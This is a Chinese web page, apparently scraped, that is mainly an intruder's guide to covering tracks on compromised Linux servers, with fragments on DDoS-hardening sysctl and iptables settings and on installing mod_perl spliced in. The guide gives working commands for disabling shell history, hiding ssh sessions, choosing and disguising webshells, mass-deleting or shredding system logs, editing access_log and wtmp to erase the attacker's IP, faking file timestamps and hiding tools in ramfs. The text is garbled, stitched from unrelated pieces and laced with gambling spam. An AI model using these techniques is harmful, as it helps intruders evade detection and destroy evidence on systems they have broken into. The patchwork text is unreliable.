用squid也是利用端口映射的功能,可以将80端口转换一下,其实一般的DDOS攻击可以修改/proc/sys/net/ipv4/tcp_max_syn_backlog里的参数就行了,默认参数一般都很小,设为8000以上,一般的DDOS攻击就可以解决了。如果上升到timeout阶段,可以将/proc/sys/net/ipv4/tcp_fin_timeout设小点。

1.最小化你的日志
P.S
访问目标前用跳板我就不废话了,你是VPN也好3389也罢,ssh中转,代理都行。总之记住一点—直接连接攻击目标是愚蠢的
1.1  shell使用问题
目前linux下大多数的shell都是采用bash或者其他的什么shell
通过输入输出重定向来实现与服务器的交互的,当我们使用ssh
或者telnet之类的登录的时候,我们的命令都会被记录在shell
的history文件下面。举例来说bash会在当前目录下面.bash_history文件里记录下你此次登陆操作的命令,如果你拿这台机器当跳板的话,或者扫描其他机器,你的命令都会被记录下来哦。呵呵,所以我们登录的第一件事就是执行如下命令:
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export
HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
当然不同的shell写法可能不同,像有的set设置环境变量什么的。大家根据自己的shell自行修改。记住:从
webshell弹回的shell也会记录你的操作,值得庆幸的是现在很多弹shell的脚本都预先unset
环境变量。
我们还需要记住的是在登录的时候出现在登录窗口的一些信息,比如该用户在什么时候从哪个IP登录进来的等等,这在我们后面的用于日志清除与修改的时候要用到。
如图:
澳门微尼斯人手机版 1
作为跳板的时候,我们有可能需要用本机的ssh去访问别的机器,但是别的机器的公钥呢?总不能放在当前用户的目录下吧?当然你可以事后删除,但多一事不如少一事,你说对么?
ssh -o UserKnownHostsFile=/dev/null -T
[email protected]
/bin/bash –i
就可以了,但在这样运行某些命令的时候可能会有提示,说你的stdin不是个terminal,这里可以这样解决:
python -c import pty; pty.spawn(“/bin/sh”) 或者自己再建立个ttyshell。
1.2  webshell的选择问题
        可能各位道友的日常生活中最主要目标瞄向了webserver
。现在的web也是大多数入侵的一个突破口。Linux下用的最多的就是apache服务器了,当我们发觉一个服务器的漏洞时候很可能要上传一个
webshell来进行对服务器文件进一步的操作和信息的搜集,部分webshell也提供了反弹shell的功能。如何能够在apache服务器的日志文件中留下最小的记录也是需要深究的。这种情况通常发生在没能够获得足够的权限来清除apache日志。如果能够
root了,则可以将重点放在第二节日志清除上。通常,日志只记录GET的信息,比如你的注入,你采用了那种方式提交数据等等。如果我们的
webshell采用的多是GET方式交互的话,就很容易在httpd的access_log中留下很多日志。这些以后都会被作为证据所采纳的。
Phpspy是个很好的选择,作者也注意掉了这点,取消了GET方式的交互,再给webshell起一个比较迷惑的名字,这样我们与webshell的交流就更加隐秘。
2.        日志的清除与改写
日志清除与改写,俗称擦PP,这是个很重要的过程,日志记录了你对目标机器的操作记录,大部分的入侵者查找都是通过日志来确定的,因此,我们需要对日志文件进行操作。对日志操作有这么个说法,能修改的就不清除,这样才能最小的减少管理员的怀疑。Linux下的大多数文件是以文本方式,或者以简单的结构体方式存入文件的,这就为我们修改某个日志记录里的具体内容提供了前提条件。
需要注意的一点是,我们需要先看看日志的存放位置,有的管理员会修改日志保存的位置,一般来说,我们可以查看/etc/syslog.conf来获得
log文件存放的位置。但要注意的是,有的管理员(及其负责)会重新编译syslogd文件来重新指定log存放的位置,怎么办?在这种情况下可以用
strings来看下/sbin/syslogd这个文件,这种管理员我只在书里看到过,至少我没遇到过:
P。这个配置文件里面记录了系统存放某些log的目录,如secure文件等。下面我们就会根据这个文件来清理和修改日志。
现在可以在网上公开获得的日志清除程序代码很粗糙,我曾经看到过最夸张的清日志的代码像这样:
澳门微尼斯人手机版,rm -rf /var/log/lastlog ; rm -rf /var/log/telnetd ; rm -rf /var/run/utmp
; rm -rf /var/log/secure ; rm -rf /root/.ksh_history ; rm -rf
/root/.bash_history ; rm -rf /root/.bash_logut ; rm -rf /var/log/wtmp
; rm -rf /etc/wtmp ; rm -rf /var/run/utmp ; rm -rf /etc/utmp ; rm -rf
/var/log ; rm -rf /var/adm ; rm -rf /var/apache/log ; rm -rf
/var/apache/logs ; rm -rf /usr/local/apache/log ; rm -rf
/usr/local/apache/logs ; rm -rf /var/log/acct ; rm -rf /var/log/xferlog
; rm -rf /var/log/messages ; rm -rf /var/log/proftpd/xferlog.legacy ; rm
-rf /var/log/proftpd.access_log ; rm -rf /var/log/proftpd.xferlog ; rm
-rf /var/log/httpd/error_log ; rm -rf /var/log/httpd/access_log ; rm
-rf /etc/httpd/logs/access_log ; rm -rf /etc/httpd/logs/error_log ;rm
-rf /var/log/news/suck.notice ; rm -rf /var/spool/tmp ; rm -rf
/var/spool/errors ; rm -rf /var/spool/logs ; rm -rf /var/spool/locks ;
rm -rf /usr/local/www/logs/thttpd_log ; rm -rf /var/log/thttpd_log ;
rm -rf /var/log/ncftpd/misclog.txt ; rm -rf /var/log/ncftpd.errs ; rm
-rf /var/log/auth ; rm -rf /root/.bash_history ; touch
/root/.bash_history ; history –r
整个一rm集合,要是服务器跑了很长时间,积累了很多日志。你这样一删除,的,你帮他省事了,他也省事,一眼就看出有人进来了。
先不说其他,用rm删除就不可取,正确的删除文件做法是用shred
shred -n 31337 -z -u file_to_delete
这样多次擦除才够安全。呵呵
下面具体的针对日志文件进行分析。
W命令提供了管理员查看当前登录帐户的功能,所以与管理员同台共演是件很危险的事情,能不做就不做,但也有人曾经上演过local
exp后,装上tty
然后T管理员下线截获登录密码的好戏。呵呵,如何让w不显示你登录了呢?
用rootkit我就不废话了,这里有个小窍门,即使是普通用户登录管理员也不能看见:
在跳板上登录目标ssh -T [email protected]
/bin/bash –i 你可以试试,很好用哦。
OK,言归正传
首先第一个概念是timstamp,也就是你用ls –l
看到的东西,我们在修改一个LOG文件之前或者留后门之后都得留心下这个时间,有很多管理员喜欢通过timestamp来查找入侵者留下的东西。记住以下命令
touch -r 具有你希望改成的时间的文件 你要改变的文件
他能够使得两个文件的timestamp保持一致。
在你修改日志之前,你可以在/dev/shm下面建立一个临时文件,并将log的timestamp保存下俩,然后再touch回去。为什么要用/dev
/shm
目录在第三节会有说明。当然我们也可以用程序实现,不过有的时候我们会碰到没有见过的日志类型,所以有时候需要手工改写日志。除了时间之外,还需要注意文件的其他属性,比如所有者或是否有粘滞位等等。这些都需要注意。
   Linux
的日志散落在系统各处,同时系统管理员也能够灵活的制定日志保存的位置,这就要求我们非常小心,采用通用的日志移除或改写工具是很不明智的,为此我们要对需要修改的日志系统有个全面的了解。具体的内容请参看文章《Linux服务器日志管理详解》。
   这里提供个工具
html”>
怎么使用自己去看看吧。我个人还是倾向于某个日志用某个特定的清除或修改器,这样灵活性更大点。
我们也可以使用sed命令行工具来清除某些日志,通常我会这样修改web日志:
  touch /dev/shm/timestamp; touch -r access_log /dev/shm/timestamp;sed
/192.168.44.1/d access_log > /dev/shm/backlog ; cat /dev/shm/backlog
> access_log; touch -r /dev/shm/timestamp ./access_log ;shred -n
255 -z -u /dev/shm/timestamp;
这里192.168.44.1是我跳板的IP。
具体的log修改和擦除工具,各位道长就从网上下个现成的自己改改吧,呵呵,我就不在这献丑了。
还有一点,我们要将wtmp文件中的登录日志修改成原来管理员登陆的IP和时间
也就是第一节中记下的时间与IP。如果实在得不到 root权限,我们也可以ssh
localhost一下来隐藏登录IP。
3.        工具与数据的隐藏
3.1工具与数据的临时存放
当我们需要在服务器上留下某些程序的时候,比如sniff软件,或者作为跳板攻击其他服务器的时候,我们不得不面对着一个痛苦的抉择:既要能够留下足够的工具来完成必要的任务,又要经可能少的对文件系统乃至对磁盘的数据的改写。在这种情况下,如果所要保存的数据只是临时的,我们就需要在内存中建立起文件系统。这样,当系统再重启后我们曾经在磁盘上保留的信息就会被擦除,因为它没有被真正的写到磁盘上面去。(注意:通常我们只用这种方法来保存暂时用的程序、代码等工具,如果要长久保存的不推荐此种方法)
为此,我们需要建立ramfs,它是一个在内存中存在的文件系统。具体的介绍请各位道友自行查找相关文档查看。建立ramfs很简单,不过需要有root权限。代码如下:
mount -t ramfs ramfs /usr/tmp
这样/usr/tmp目录就被挂载为一个内存文件系统。当然,在实际过程中我们可能要找一个隐藏比较深的不用的目录来做

下载相关软件
mod_perl-1.27.tar 下载:
下载mod_perl压缩包,要下载mod_perl
2.0,因为我用的是APACHE2.X的,如果是apache1.X的就下载mod_perl1.0
解包,执行:

大家都在讨论DDOS,个人认为目前没有真正解决的方法,只是在缓冲和防御能力上的扩充,跟黑客玩一个心理战术,看谁坚持到最后,网上也有很多做法,例如syncookies等,就是复杂点。

P.S
访问目标前用跳板我就不废话了,你是VPN也好3389也罢,ssh中转,代理都行。总之记住一点—直接连接攻击目标是愚蠢的…

perl Makefile.PL MP_APXS=/usr/local/apache/bin/apxs

sysctl -w net.ipv4.icmp_echo_ignore_all=1
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
sysctl -w net.ipv4.tcp_max_syn_backlog=”2048″
sysctl -w net.ipv4.tcp_synack_retries=”3″

make
make test
make install
然后在httpd.conf中追加一行

iptables -A INPUT -i eth0 -p tcp –syn -j syn-flood
# Limit 12 connections per second (burst to 24)
iptables -A syn-flood -m limit –limit 12/s –limit-burst 24 -j RETURN
这个地方可以试着该该:
iptbales -A FORWARD -p tcp –syn -m limit –limit 1/s -j ACCEPT

LoadModule perl_module modul⺌es/mod_perl.so

发表评论

电子邮件地址不会被公开。 必填项已用*标注